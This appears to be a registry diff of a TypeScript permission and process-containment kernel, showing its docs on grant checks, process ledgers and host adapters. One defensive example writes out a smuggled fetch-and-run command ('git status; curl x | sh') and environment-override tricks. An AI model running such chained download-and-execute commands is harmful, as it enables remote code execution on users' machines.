@smthrs/kernel 0.0.0-stage → 1.0.0-rc.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (267) hide show
  1. package/CHANGELOG.md +206 -0
  2. package/LICENSE +21 -0
  3. package/README.md +154 -2
  4. package/dist/cjs/CapabilitySet.d.ts +6 -0
  5. package/dist/cjs/CapabilitySet.d.ts.map +1 -0
  6. package/dist/cjs/CapabilitySet.js +19 -0
  7. package/dist/cjs/CapabilitySet.js.map +7 -0
  8. package/dist/cjs/ChildProcessEnvironment.d.ts +60 -0
  9. package/dist/cjs/ChildProcessEnvironment.d.ts.map +1 -0
  10. package/dist/cjs/ChildProcessEnvironment.js +61 -0
  11. package/dist/cjs/ChildProcessEnvironment.js.map +7 -0
  12. package/dist/cjs/ChildProcessSpawner.d.ts +100 -0
  13. package/dist/cjs/ChildProcessSpawner.d.ts.map +1 -0
  14. package/dist/cjs/ChildProcessSpawner.js +291 -0
  15. package/dist/cjs/ChildProcessSpawner.js.map +7 -0
  16. package/dist/cjs/CommandLine.d.ts +173 -0
  17. package/dist/cjs/CommandLine.d.ts.map +1 -0
  18. package/dist/cjs/CommandLine.js +54 -0
  19. package/dist/cjs/CommandLine.js.map +7 -0
  20. package/dist/cjs/ContainedSpawner.d.ts +135 -0
  21. package/dist/cjs/ContainedSpawner.d.ts.map +1 -0
  22. package/dist/cjs/ContainedSpawner.js +141 -0
  23. package/dist/cjs/ContainedSpawner.js.map +7 -0
  24. package/dist/cjs/FileSystem.d.ts +452 -0
  25. package/dist/cjs/FileSystem.d.ts.map +1 -0
  26. package/dist/cjs/FileSystem.js +890 -0
  27. package/dist/cjs/FileSystem.js.map +7 -0
  28. package/dist/cjs/FileSystemBatch.d.ts +94 -0
  29. package/dist/cjs/FileSystemBatch.d.ts.map +1 -0
  30. package/dist/cjs/FileSystemBatch.js +31 -0
  31. package/dist/cjs/FileSystemBatch.js.map +7 -0
  32. package/dist/cjs/GrantEvent.d.ts +240 -0
  33. package/dist/cjs/GrantEvent.d.ts.map +1 -0
  34. package/dist/cjs/GrantEvent.js +115 -0
  35. package/dist/cjs/GrantEvent.js.map +7 -0
  36. package/dist/cjs/GrantStore.d.ts +270 -0
  37. package/dist/cjs/GrantStore.d.ts.map +1 -0
  38. package/dist/cjs/GrantStore.js +857 -0
  39. package/dist/cjs/GrantStore.js.map +7 -0
  40. package/dist/cjs/HostError.d.ts +36 -0
  41. package/dist/cjs/HostError.d.ts.map +1 -0
  42. package/dist/cjs/HostError.js +17 -0
  43. package/dist/cjs/HostError.js.map +7 -0
  44. package/dist/cjs/HostServices.d.ts +101 -0
  45. package/dist/cjs/HostServices.d.ts.map +1 -0
  46. package/dist/cjs/HostServices.js +66 -0
  47. package/dist/cjs/HostServices.js.map +7 -0
  48. package/dist/cjs/HttpClient.d.ts +177 -0
  49. package/dist/cjs/HttpClient.d.ts.map +1 -0
  50. package/dist/cjs/HttpClient.js +217 -0
  51. package/dist/cjs/HttpClient.js.map +7 -0
  52. package/dist/cjs/Jj.d.ts +67 -0
  53. package/dist/cjs/Jj.d.ts.map +1 -0
  54. package/dist/cjs/Jj.js +118 -0
  55. package/dist/cjs/Jj.js.map +7 -0
  56. package/dist/cjs/JournalGrantStore.d.ts +65 -0
  57. package/dist/cjs/JournalGrantStore.d.ts.map +1 -0
  58. package/dist/cjs/JournalGrantStore.js +354 -0
  59. package/dist/cjs/JournalGrantStore.js.map +7 -0
  60. package/dist/cjs/Path.d.ts +37 -0
  61. package/dist/cjs/Path.d.ts.map +1 -0
  62. package/dist/cjs/Path.js +46 -0
  63. package/dist/cjs/Path.js.map +7 -0
  64. package/dist/cjs/ProcessConfinement.d.ts +55 -0
  65. package/dist/cjs/ProcessConfinement.d.ts.map +1 -0
  66. package/dist/cjs/ProcessConfinement.js +94 -0
  67. package/dist/cjs/ProcessConfinement.js.map +7 -0
  68. package/dist/cjs/ProcessLedger.d.ts +260 -0
  69. package/dist/cjs/ProcessLedger.d.ts.map +1 -0
  70. package/dist/cjs/ProcessLedger.js +190 -0
  71. package/dist/cjs/ProcessLedger.js.map +7 -0
  72. package/dist/cjs/Rooted.d.ts +53 -0
  73. package/dist/cjs/Rooted.d.ts.map +1 -0
  74. package/dist/cjs/Rooted.js +101 -0
  75. package/dist/cjs/Rooted.js.map +7 -0
  76. package/dist/cjs/Unreachable.d.ts +27 -0
  77. package/dist/cjs/Unreachable.d.ts.map +1 -0
  78. package/dist/cjs/Unreachable.js +43 -0
  79. package/dist/cjs/Unreachable.js.map +7 -0
  80. package/dist/cjs/Workspace.d.ts +62 -0
  81. package/dist/cjs/Workspace.d.ts.map +1 -0
  82. package/dist/cjs/Workspace.js +35 -0
  83. package/dist/cjs/Workspace.js.map +7 -0
  84. package/dist/cjs/index.d.ts +161 -0
  85. package/dist/cjs/index.d.ts.map +1 -0
  86. package/dist/cjs/index.js +73 -0
  87. package/dist/cjs/index.js.map +7 -0
  88. package/dist/cjs/internal/Containment.d.ts +24 -0
  89. package/dist/cjs/internal/Containment.d.ts.map +1 -0
  90. package/dist/cjs/internal/Containment.js +30 -0
  91. package/dist/cjs/internal/Containment.js.map +7 -0
  92. package/dist/cjs/internal/Pipeline.d.ts +18 -0
  93. package/dist/cjs/internal/Pipeline.d.ts.map +1 -0
  94. package/dist/cjs/internal/Pipeline.js +90 -0
  95. package/dist/cjs/internal/Pipeline.js.map +7 -0
  96. package/dist/cjs/internal/makeCapability.d.ts +16 -0
  97. package/dist/cjs/internal/makeCapability.d.ts.map +1 -0
  98. package/dist/cjs/internal/makeCapability.js +44 -0
  99. package/dist/cjs/internal/makeCapability.js.map +7 -0
  100. package/dist/cjs/package.json +1 -0
  101. package/dist/cjs/test/FileSystemBatchContract.d.ts +15 -0
  102. package/dist/cjs/test/FileSystemBatchContract.d.ts.map +1 -0
  103. package/dist/cjs/test/FileSystemBatchContract.js +76 -0
  104. package/dist/cjs/test/FileSystemBatchContract.js.map +7 -0
  105. package/dist/cjs/test/HostContract.d.ts +225 -0
  106. package/dist/cjs/test/HostContract.d.ts.map +1 -0
  107. package/dist/cjs/test/HostContract.js +489 -0
  108. package/dist/cjs/test/HostContract.js.map +7 -0
  109. package/dist/cjs/test/TestGrantStore.d.ts +31 -0
  110. package/dist/cjs/test/TestGrantStore.d.ts.map +1 -0
  111. package/dist/cjs/test/TestGrantStore.js +65 -0
  112. package/dist/cjs/test/TestGrantStore.js.map +7 -0
  113. package/dist/esm/CapabilitySet.d.ts +6 -0
  114. package/dist/esm/CapabilitySet.d.ts.map +1 -0
  115. package/dist/esm/CapabilitySet.js +6 -0
  116. package/dist/esm/CapabilitySet.js.map +1 -0
  117. package/dist/esm/ChildProcessEnvironment.d.ts +60 -0
  118. package/dist/esm/ChildProcessEnvironment.d.ts.map +1 -0
  119. package/dist/esm/ChildProcessEnvironment.js +91 -0
  120. package/dist/esm/ChildProcessEnvironment.js.map +1 -0
  121. package/dist/esm/ChildProcessSpawner.d.ts +100 -0
  122. package/dist/esm/ChildProcessSpawner.d.ts.map +1 -0
  123. package/dist/esm/ChildProcessSpawner.js +342 -0
  124. package/dist/esm/ChildProcessSpawner.js.map +1 -0
  125. package/dist/esm/CommandLine.d.ts +173 -0
  126. package/dist/esm/CommandLine.d.ts.map +1 -0
  127. package/dist/esm/CommandLine.js +195 -0
  128. package/dist/esm/CommandLine.js.map +1 -0
  129. package/dist/esm/ContainedSpawner.d.ts +135 -0
  130. package/dist/esm/ContainedSpawner.d.ts.map +1 -0
  131. package/dist/esm/ContainedSpawner.js +180 -0
  132. package/dist/esm/ContainedSpawner.js.map +1 -0
  133. package/dist/esm/FileSystem.d.ts +452 -0
  134. package/dist/esm/FileSystem.d.ts.map +1 -0
  135. package/dist/esm/FileSystem.js +989 -0
  136. package/dist/esm/FileSystem.js.map +1 -0
  137. package/dist/esm/FileSystemBatch.d.ts +94 -0
  138. package/dist/esm/FileSystemBatch.d.ts.map +1 -0
  139. package/dist/esm/FileSystemBatch.js +26 -0
  140. package/dist/esm/FileSystemBatch.js.map +1 -0
  141. package/dist/esm/GrantEvent.d.ts +240 -0
  142. package/dist/esm/GrantEvent.d.ts.map +1 -0
  143. package/dist/esm/GrantEvent.js +155 -0
  144. package/dist/esm/GrantEvent.js.map +1 -0
  145. package/dist/esm/GrantStore.d.ts +270 -0
  146. package/dist/esm/GrantStore.d.ts.map +1 -0
  147. package/dist/esm/GrantStore.js +951 -0
  148. package/dist/esm/GrantStore.js.map +1 -0
  149. package/dist/esm/HostError.d.ts +36 -0
  150. package/dist/esm/HostError.d.ts.map +1 -0
  151. package/dist/esm/HostError.js +20 -0
  152. package/dist/esm/HostError.js.map +1 -0
  153. package/dist/esm/HostServices.d.ts +101 -0
  154. package/dist/esm/HostServices.d.ts.map +1 -0
  155. package/dist/esm/HostServices.js +76 -0
  156. package/dist/esm/HostServices.js.map +1 -0
  157. package/dist/esm/HttpClient.d.ts +177 -0
  158. package/dist/esm/HttpClient.d.ts.map +1 -0
  159. package/dist/esm/HttpClient.js +299 -0
  160. package/dist/esm/HttpClient.js.map +1 -0
  161. package/dist/esm/Jj.d.ts +67 -0
  162. package/dist/esm/Jj.d.ts.map +1 -0
  163. package/dist/esm/Jj.js +111 -0
  164. package/dist/esm/Jj.js.map +1 -0
  165. package/dist/esm/JournalGrantStore.d.ts +65 -0
  166. package/dist/esm/JournalGrantStore.d.ts.map +1 -0
  167. package/dist/esm/JournalGrantStore.js +350 -0
  168. package/dist/esm/JournalGrantStore.js.map +1 -0
  169. package/dist/esm/Path.d.ts +37 -0
  170. package/dist/esm/Path.d.ts.map +1 -0
  171. package/dist/esm/Path.js +34 -0
  172. package/dist/esm/Path.js.map +1 -0
  173. package/dist/esm/ProcessConfinement.d.ts +55 -0
  174. package/dist/esm/ProcessConfinement.d.ts.map +1 -0
  175. package/dist/esm/ProcessConfinement.js +106 -0
  176. package/dist/esm/ProcessConfinement.js.map +1 -0
  177. package/dist/esm/ProcessLedger.d.ts +260 -0
  178. package/dist/esm/ProcessLedger.d.ts.map +1 -0
  179. package/dist/esm/ProcessLedger.js +283 -0
  180. package/dist/esm/ProcessLedger.js.map +1 -0
  181. package/dist/esm/Rooted.d.ts +53 -0
  182. package/dist/esm/Rooted.d.ts.map +1 -0
  183. package/dist/esm/Rooted.js +104 -0
  184. package/dist/esm/Rooted.js.map +1 -0
  185. package/dist/esm/Unreachable.d.ts +27 -0
  186. package/dist/esm/Unreachable.d.ts.map +1 -0
  187. package/dist/esm/Unreachable.js +26 -0
  188. package/dist/esm/Unreachable.js.map +1 -0
  189. package/dist/esm/Workspace.d.ts +62 -0
  190. package/dist/esm/Workspace.d.ts.map +1 -0
  191. package/dist/esm/Workspace.js +51 -0
  192. package/dist/esm/Workspace.js.map +1 -0
  193. package/dist/esm/index.d.ts +161 -0
  194. package/dist/esm/index.d.ts.map +1 -0
  195. package/dist/esm/index.js +151 -0
  196. package/dist/esm/index.js.map +1 -0
  197. package/dist/esm/internal/Containment.d.ts +24 -0
  198. package/dist/esm/internal/Containment.d.ts.map +1 -0
  199. package/dist/esm/internal/Containment.js +27 -0
  200. package/dist/esm/internal/Containment.js.map +1 -0
  201. package/dist/esm/internal/Pipeline.d.ts +18 -0
  202. package/dist/esm/internal/Pipeline.d.ts.map +1 -0
  203. package/dist/esm/internal/Pipeline.js +68 -0
  204. package/dist/esm/internal/Pipeline.js.map +1 -0
  205. package/dist/esm/internal/makeCapability.d.ts +16 -0
  206. package/dist/esm/internal/makeCapability.d.ts.map +1 -0
  207. package/dist/esm/internal/makeCapability.js +22 -0
  208. package/dist/esm/internal/makeCapability.js.map +1 -0
  209. package/dist/esm/test/FileSystemBatchContract.d.ts +15 -0
  210. package/dist/esm/test/FileSystemBatchContract.d.ts.map +1 -0
  211. package/dist/esm/test/FileSystemBatchContract.js +57 -0
  212. package/dist/esm/test/FileSystemBatchContract.js.map +1 -0
  213. package/dist/esm/test/HostContract.d.ts +225 -0
  214. package/dist/esm/test/HostContract.d.ts.map +1 -0
  215. package/dist/esm/test/HostContract.js +460 -0
  216. package/dist/esm/test/HostContract.js.map +1 -0
  217. package/dist/esm/test/TestGrantStore.d.ts +31 -0
  218. package/dist/esm/test/TestGrantStore.d.ts.map +1 -0
  219. package/dist/esm/test/TestGrantStore.js +57 -0
  220. package/dist/esm/test/TestGrantStore.js.map +1 -0
  221. package/docs/README.md +162 -0
  222. package/docs/api.md +1532 -0
  223. package/docs/concepts/decoration-in-place.md +117 -0
  224. package/docs/concepts/filesystem-batches.md +58 -0
  225. package/docs/concepts/filesystem-confinement.md +168 -0
  226. package/docs/concepts/grant-decisions.md +181 -0
  227. package/docs/concepts/process-containment.md +155 -0
  228. package/docs/contract.md +14 -0
  229. package/docs/guides/adapt-a-new-host-platform.md +148 -0
  230. package/docs/guides/answer-permission-requests.md +151 -0
  231. package/docs/guides/authorize-network-and-model-calls.md +118 -0
  232. package/docs/guides/contain-spawned-processes.md +118 -0
  233. package/docs/guides/guard-a-host-bundle.md +109 -0
  234. package/docs/guides/persist-grants-across-restarts.md +135 -0
  235. package/docs/guides/write-a-capability-policy.md +159 -0
  236. package/docs/installation.md +115 -0
  237. package/docs/quickstart.md +182 -0
  238. package/docs/testing.md +108 -0
  239. package/docs/troubleshooting.md +281 -0
  240. package/package.json +344 -3
  241. package/src/CapabilitySet.ts +6 -0
  242. package/src/ChildProcessEnvironment.ts +98 -0
  243. package/src/ChildProcessSpawner.ts +414 -0
  244. package/src/CommandLine.ts +250 -0
  245. package/src/ContainedSpawner.ts +284 -0
  246. package/src/FileSystem.ts +1655 -0
  247. package/src/FileSystemBatch.ts +90 -0
  248. package/src/GrantEvent.ts +174 -0
  249. package/src/GrantStore.ts +1345 -0
  250. package/src/HostError.ts +37 -0
  251. package/src/HostServices.ts +133 -0
  252. package/src/HttpClient.ts +406 -0
  253. package/src/Jj.ts +159 -0
  254. package/src/JournalGrantStore.ts +461 -0
  255. package/src/Path.ts +47 -0
  256. package/src/ProcessConfinement.ts +156 -0
  257. package/src/ProcessLedger.ts +423 -0
  258. package/src/Rooted.ts +128 -0
  259. package/src/Unreachable.ts +30 -0
  260. package/src/Workspace.ts +65 -0
  261. package/src/index.ts +181 -0
  262. package/src/internal/Containment.ts +37 -0
  263. package/src/internal/Pipeline.ts +85 -0
  264. package/src/internal/makeCapability.ts +26 -0
  265. package/src/test/FileSystemBatchContract.ts +59 -0
  266. package/src/test/HostContract.ts +785 -0
  267. package/src/test/TestGrantStore.ts +73 -0
@@ -0,0 +1,155 @@
1
+ ---
2
+ title: "Process containment"
3
+ description: "How the kernel makes a cancelled run leave no process behind: the SIGTERM-then-SIGKILL deadline, the durable process ledger, and the orphan records a dead host hands its successor."
4
+ sidebar:
5
+ order: 4
6
+ ---
7
+
8
+ A contained run owns its process lifetime independently of the target's exit
9
+ status. The kernel supplies the ledger and composition contract; a platform
10
+ lifecycle supplies launch and verified cleanup.
11
+
12
+ ## A cancellation that never finishes
13
+
14
+ Effect's spawner already signals a child's process group when the spawn scope
15
+ closes, and then waits for the exit. With no `forceKillAfter` configured, it
16
+ waits forever. A child that traps `SIGTERM`, or a child whose own children trap
17
+ it, turns a cancellation into a hung host: the releasing fiber never finishes,
18
+ the run never reaches `cancelled`, and the process stays on the machine.
19
+
20
+ `ContainedSpawner.layer` rewrites every command it spawns to carry an
21
+ escalation deadline: `SIGTERM`, then `SIGKILL` after `graceMs`, which defaults
22
+ to `ContainedSpawner.defaultGraceMs` (2,000 ms). Both legs of a pipeline get
23
+ the policy. A command that already names its own `killSignal` or
24
+ `forceKillAfter` keeps the policy its caller chose.
25
+
26
+ A deadline alone is insufficient. A target can exit naturally while a child
27
+ keeps running or holds stdout open. `Lifecycle` prepares a live owner before
28
+ execution, lets the kernel record it, then activates the target. Each pipeline
29
+ leg has its own owner and record. Node and Bun use
30
+ `ProcessReaper.layerSpawner`, which combines a prepared native adapter with
31
+ `ProcessReaper.processLifecycle`; `NodeHost.layerContained` and
32
+ `BunHost.layerContained` already install it. A smaller Node/Bun composition
33
+ can use that factory directly. `ContainedSpawner.isContained` rejects a
34
+ deadline-only wrapper.
35
+
36
+ The platform owns signals and verifies cleanup. Its handle may identify a
37
+ supervisor rather than the target, so callers use `handle.kill` and never
38
+ signal the recorded numeric pid as a substitute. A target's exit alone does
39
+ not authorize ledger retirement.
40
+
41
+ ## A host that dies before its finalizers run
42
+
43
+ A killed host runs no finalizers. The supplied POSIX supervisor observes its
44
+ private parent connection closing and requests cleanup independently. A
45
+ durable ledger still lets a later host reconcile any retained records when
46
+ cleanup could not be confirmed.
47
+
48
+ `ProcessLedger` is the durable memory that fixes it. Every successful spawn is
49
+ recorded before target activation, and the record is released only after the
50
+ lifecycle confirms cleanup when the spawn's scope closes. Records
51
+ are ownerless journal entries on the run `flows.host:<hostId>` under the
52
+ source id `@smthrs/kernel/ProcessLedger`, with four event types:
53
+
54
+ | Event type | Meaning |
55
+ | ------------------------------------ | --------------------------------------------------------- |
56
+ | `flows.host.process-spawned.v1` | This host started the process. |
57
+ | `flows.host.process-exited.v1` | The process ended and its scope released it. |
58
+ | `flows.host.process-reaped.v1` | An abandoned process group was signalled by a later host. |
59
+ | `flows.host.process-reap-skipped.v1` | A later host refused to signal it, and why. |
60
+
61
+ The next incarnation of the same host replays that history, folds the exit,
62
+ reap, and skip events onto the spawn events, and reads `orphans`: the records
63
+ whose owner pid is not this incarnation's. `ProcessLedger.layerMemory` keeps
64
+ only the current incarnation's bookkeeping, with no journal and nothing
65
+ inherited.
66
+
67
+ Live tracking and replay identify each process by `(pid, startedAtMs)`.
68
+ `startedAtMs` comes from the Effect clock when the spawn is recorded. A delayed
69
+ exit, reap, or skip retires only that identity, preserving a newer record for
70
+ the same pid. Callers pass the original record to retirement operations.
71
+
72
+ ## A failed write is reported, never swallowed
73
+
74
+ `record`, `release`, `reaped`, and `skipped` all carry the journal's failure to
75
+ their caller. A swallowed write would leave a child no incarnation of the host
76
+ can discover, which is the exact outcome containment exists to prevent.
77
+
78
+ A failed durable record prevents activation and closes the prepared owner.
79
+ Failed startup in any pipeline leg immediately closes all legs already
80
+ prepared for that logical command, even if the caller catches the failure.
81
+
82
+ The release finalizer runs after platform cleanup. If cleanup fails or its
83
+ `settled` result is false, release fails and the record is retained. If cleanup
84
+ is verified but the journal release write fails after its retries, the record
85
+ also stays for the next reaper instead of inventing a successful retirement.
86
+
87
+ ## Reaping is deliberately conservative
88
+
89
+ Signalling a process group you did not start is dangerous: a pid can be
90
+ recycled. [`@smthrs/platform-node`](/api/platform-node)'s `ProcessReaper`
91
+ therefore signals an orphan only after every one of these holds:
92
+
93
+ - The record names a **separate** process group, not the reaping host's own
94
+ group, and the group is a plausible one the child leads.
95
+ - The owner is genuinely gone.
96
+ - The record belongs to the current boot. A record written before this machine
97
+ booted names a pid from a pid space that no longer exists.
98
+ - Where the platform can read it, the pid's start time still matches.
99
+
100
+ A successful reap and a safety refusal retire the record through **different**
101
+ event types, so an operator reading the journal can tell "we killed it" from
102
+ "we declined to". A failed signal or a still-live owner leaves the record for a
103
+ later attempt.
104
+
105
+ `ContainedSpawner.groupOf(command, pid, platform)` decides what group to
106
+ record, and it takes the platform because Effect detaches a child that names
107
+ no `detached` option everywhere except win32. A win32 record claiming
108
+ `pgid === pid` would name a group the child does not lead, so it records no
109
+ group at all instead.
110
+
111
+ ## The grant identity is the command line and its environment names
112
+
113
+ Compose the permission decorator above containment to check the caller's
114
+ whole command before pipeline expansion and platform preparation.
115
+ Containment and authorization are separate concerns over the same tag, but
116
+ they share one fact worth stating here. Every stage of a spawn is checked as
117
+ its own `proc:spawn` with `CommandLine.resource(stage, context)` as its
118
+ resource, and no stage starts until every stage passes. That resource is the
119
+ rendered line with three markings:
120
+
121
+ - a `shell: true` line holding shell control syntax becomes `sh -c '<line>'`;
122
+ - an environment variable the child would not otherwise inherit is named in an
123
+ `env <NAME>… --` prefix: any name outside the bootstrap set (`PATH`, `HOME`,
124
+ `USER`, `LANG`, `TERM`, `TMPDIR`, `SHELL`, `LC_*`), and a bootstrap name
125
+ whose value differs from this process's own;
126
+ - a working directory outside `Workspace.root` is named in a `cwd <path> --`
127
+ prefix. The directory is judged by real path, so a symlink inside the
128
+ workspace that leads to another repository is named as that repository.
129
+
130
+ A grant for `git status *` therefore covers none of `git status; curl x | sh`,
131
+ `git status` with `GIT_SSH_COMMAND` set, `git status` with `PATH` pointing
132
+ into the workspace, or `git status` run in `/tmp/other`. `git status | sh`
133
+ needs a grant for `sh` too.
134
+
135
+ A pipeline's `from` and `to` routing is **not** part of what the grant
136
+ authorizes. Nor is the content of files inside the workspace: `git status` in
137
+ the workspace reads `.git/config`, and `npm test` runs whatever `package.json`
138
+ says. A flow that holds `fs:write` on those files decides what the granted
139
+ program does, so grant `proc:spawn` for a config-reading program together with
140
+ the `fs:write` scope you intend it to follow. The working directory and the
141
+ _names_ of overridden environment variables also reach an attended surface as
142
+ display metadata; the values do not.
143
+
144
+ A custom shell path is explicit in the rendered line, and a pipeline renders
145
+ with `|` between its stages, so neither can hide behind a grant for something
146
+ else. The derived helpers (`exitCode`, `string`, `lines`, and both `stream`
147
+ forms) are all rebuilt from the guarded `spawn`, so none of them can bypass the
148
+ check.
149
+
150
+ ## Related
151
+
152
+ - [Contain spawned processes](../guides/contain-spawned-processes.md): the
153
+ composition, with and without a journal.
154
+ - [How a grant decision is made](./grant-decisions.md): the check that runs
155
+ before any of this.
@@ -0,0 +1,14 @@
1
+ ---
2
+ title: "The kernel contract"
3
+ description: "What @smthrs/kernel guarantees at a host boundary: checks that run before the operation, snapshotted inputs, the filesystem isolation a host must supply, and the structured refusal each service channel carries."
4
+ ---
5
+
6
+ `@smthrs/kernel` owns the closed host boundary and decorates the same service
7
+ tags supplied by each platform adapter. Capability checks happen before a host
8
+ operation, and mutable inputs are snapshotted so the operation executed after
9
+ an attended grant is the operation that was authorized. Native filesystems use
10
+ a descriptor-relative executor; isolated browser and test volumes may attest
11
+ whole-volume isolation. Process, network, Jujutsu, and filesystem refusals keep
12
+ their structured permission error through the host service's fixed error
13
+ channel. See the [Kernel API contract](/api/kernel) for the exact resources,
14
+ stable error codes, limits, and public test subpaths.
@@ -0,0 +1,148 @@
1
+ ---
2
+ title: "Adapt a new host platform"
3
+ description: "Implement the five host ports for a new runtime: attach the filesystem confinement extension the kernel requires, declare what your bundle does not support, and prove it with the shared contract suite."
4
+ sidebar:
5
+ order: 7
6
+ ---
7
+
8
+ A host adapter provides the five tags on the closed list. It does not check
9
+ capabilities; the kernel does that above it. What the adapter owes the kernel
10
+ is an honest filesystem and a truthful declaration of what it cannot do.
11
+
12
+ ## Provide the five tags
13
+
14
+ Your bundle is one `Layer` providing `FileSystem`, `Path`,
15
+ `ChildProcessSpawner`, `Jj`, and `HttpClient`. Where Effect owns the tag,
16
+ implement Effect's service rather than a wrapper around it.
17
+
18
+ A capability you do not support still gets a tag. Fail it in the error channel
19
+ with a stable code instead of omitting the service:
20
+
21
+ ```ts
22
+ import { CommandLine } from "@smthrs/kernel"
23
+ import { Effect, Layer, PlatformError } from "effect"
24
+ import { ChildProcessSpawner, make as makeSpawner } from "effect/unstable/process/ChildProcessSpawner"
25
+
26
+ const layerSpawnerUnsupported: Layer.Layer<ChildProcessSpawner> = Layer.succeed(ChildProcessSpawner)(
27
+ makeSpawner((command) =>
28
+ Effect.fail(
29
+ PlatformError.systemError({
30
+ _tag: "NotFound",
31
+ module: "MyHost",
32
+ method: "spawn",
33
+ description: `no process host for \`${CommandLine.render(command)}\``
34
+ })
35
+ )
36
+ )
37
+ )
38
+ ```
39
+
40
+ The kernel ships stubs for two of these: `ChildProcessSpawner.layerNoop()` and
41
+ `HttpClient.layerNoop()`.
42
+
43
+ Derive the spawner's six methods from one `spawn` with
44
+ `ChildProcessSpawner.make`, so `exitCode`, `string`, `lines`, and both `stream`
45
+ helpers can never diverge from what `spawn` was given. Render command lines
46
+ with `CommandLine.render`: it is the same renderer the `proc:spawn` capability
47
+ resource uses, so an adapter that executes a different string than the kernel
48
+ authorized is a defect the contract catches.
49
+
50
+ ## Attach a filesystem confinement extension
51
+
52
+ This is the one thing the kernel will not do for you. A path-based filesystem
53
+ cannot be confined, because the pathname the kernel checked is not the
54
+ pathname the host resolves. A host that attaches neither extension fails every
55
+ relevant filesystem operation closed.
56
+
57
+ **A native host attaches a descriptor-relative executor:**
58
+
59
+ ```ts
60
+ import { FileSystem as KernelFileSystem } from "@smthrs/kernel"
61
+
62
+ const guardedRoot = KernelFileSystem.withAtomicFileSystem(myFileSystem, {
63
+ execute: (request) => runRelativeToPinnedRoot(request)
64
+ })
65
+ ```
66
+
67
+ The executor receives an `AtomicRequest`: one member per operation, naming the
68
+ boundary and logical roots and exactly the operands that operation needs. Run
69
+ it relative to a pinned root handle, rejecting symlinks as you traverse, and
70
+ answer the result the operation names (`AtomicResult`). An executor that runs
71
+ in process can be a typed `AtomicHandlers` record, which will not compile until
72
+ every operation is implemented.
73
+
74
+ **An isolated volume attests instead:**
75
+
76
+ ```ts
77
+ const volume = KernelFileSystem.withIsolatedFileSystem(myInMemoryFileSystem)
78
+ ```
79
+
80
+ Use this only when the implementation genuinely cannot address the host
81
+ filesystem, as an in-memory browser volume cannot.
82
+ `@smthrs/platform-browser` does exactly this. It throws on a filesystem that
83
+ already carries a descriptor-relative executor, so the stronger guarantee can
84
+ never be downgraded to the weaker one.
85
+
86
+ Both functions decorate the supplied object in place and return the same
87
+ identity. Attach once, at the boundary, and keep no undecorated alias.
88
+
89
+ ## Prove it with the contract suite
90
+
91
+ `@smthrs/kernel/test/contract` exports `runHostContract`, the shared
92
+ behavioral contract every host bundle must satisfy. It registers Vitest cases,
93
+ so install the peers first:
94
+
95
+ ```bash
96
+ pnpm add -D @effect/vitest@4.0.0-rc.115 vitest@5.0.0
97
+ ```
98
+
99
+ Then declare, per slot, whether your bundle supports the capability and what it
100
+ answers when it does not:
101
+
102
+ ```ts
103
+ import { runHostContract } from "@smthrs/kernel/test/contract"
104
+ import { Layer } from "effect"
105
+ import * as ChildProcess from "effect/unstable/process/ChildProcess"
106
+
107
+ runHostContract("MyHost", Layer.mergeAll(fs, path, spawner, jj, http), {
108
+ fileSystem: {
109
+ expected: "success",
110
+ // A scratch root, only when your filesystem rejects an OS temp path.
111
+ scratchPath: "/scratch",
112
+ // Per-operation exceptions, with the code each one fails with.
113
+ unsupported: { link: "NotFound", symlink: "NotFound", watch: "NotFound" }
114
+ },
115
+ path: { expected: "success" },
116
+ childProcess: {
117
+ expected: "success",
118
+ execCommand: ChildProcess.make("printf", ["ok"]),
119
+ expectedStdout: "ok",
120
+ stdin: { expected: "failure", code: "BadArgument" },
121
+ pipeline: { expected: "failure", code: "BadArgument" }
122
+ },
123
+ jj: { expected: "failure", code: "not_installed" },
124
+ httpClient: { expected: "failure", code: "TransportError" }
125
+ })
126
+ ```
127
+
128
+ A slot you do not support is
129
+ `{ expected: "failure", code: "<the stable code>" }`. The suite normalizes the
130
+ three shapes a host failure carries its code in: a `code` field on `JjError`, a
131
+ nested `reason._tag` on `PlatformError` and `HttpClientError`, and a bare
132
+ `_tag` on a thrown tagged value.
133
+
134
+ The suite asserts that every tag on the closed list resolves, that every
135
+ filesystem operation is declared one way or the other, that the spawner
136
+ executes, streams, honours options, and is observably interruptible, and that
137
+ the HTTP client executes a read, a write, and a **manual** redirect. That last
138
+ one matters: a host that follows redirects on its own defeats the kernel's
139
+ per-hop check, and the contract is where it gets caught.
140
+
141
+ Declare defaults rather than overriding them where you can. A default nobody
142
+ runs is a default nobody has checked.
143
+
144
+ ## Related
145
+
146
+ - [Filesystem confinement](../concepts/filesystem-confinement.md): why the
147
+ extension is not optional.
148
+ - [Testing](../testing.md): the rest of what this package ships for tests.
@@ -0,0 +1,151 @@
1
+ ---
2
+ title: "Answer permission requests"
3
+ description: "Run an attended GrantStore: read the parked requests, show an operator what each one asks for, reply with once, run, remembered, or deny, and approve a whole plan with an envelope."
4
+ sidebar:
5
+ order: 3
6
+ ---
7
+
8
+ An attended store parks the asking fiber instead of refusing it. This guide is
9
+ for the code on the other side of that park: the control plane, the CLI
10
+ prompt, or the test that answers.
11
+
12
+ ## Hold the store, not just the layer
13
+
14
+ To reply you need the service itself, so build it with `GrantStore.make` and
15
+ provide it to the guarded host:
16
+
17
+ ```ts
18
+ import { GrantStore, HostServices } from "@smthrs/kernel"
19
+ import { Effect } from "effect"
20
+
21
+ const withAttendedHost = Effect.gen(function*() {
22
+ // `attended` defaults to true. `runId` and `planDigest` scope the grants.
23
+ const store = yield* GrantStore.make({ runId: "run-1", planDigest: "plan-abc" })
24
+
25
+ return yield* work.pipe(
26
+ Effect.provide(HostServices.layer),
27
+ Effect.provideService(GrantStore.GrantStore, store)
28
+ )
29
+ }).pipe(Effect.scoped)
30
+ ```
31
+
32
+ The store is scoped. Closing its scope rejects every waiter with
33
+ `permission_denied` and the reason `"grant store closed"`, and every later call
34
+ fails with `store_closed`. Nothing is left hanging.
35
+
36
+ ## Read what is parked
37
+
38
+ `store.list` is a frozen snapshot of the pending requests:
39
+
40
+ ```ts
41
+ const requests = yield * store.list
42
+ // [{ requestId, capability, tier, meta }]
43
+ ```
44
+
45
+ | Field | What to show |
46
+ | ------------ | -------------------------------------------------------------------------------------------------------------------------------------- |
47
+ | `requestId` | The handle you reply with. Not for display. |
48
+ | `capability` | The action and the exact resource. This is what the operator is approving. |
49
+ | `tier` | `sealed`, `compensable`, or `irreversible`: what re-running the operation would cost. Show it. |
50
+ | `meta` | Display metadata the decorator attached. For a spawn, `cwd` and the **names** of overridden environment variables. Never their values. |
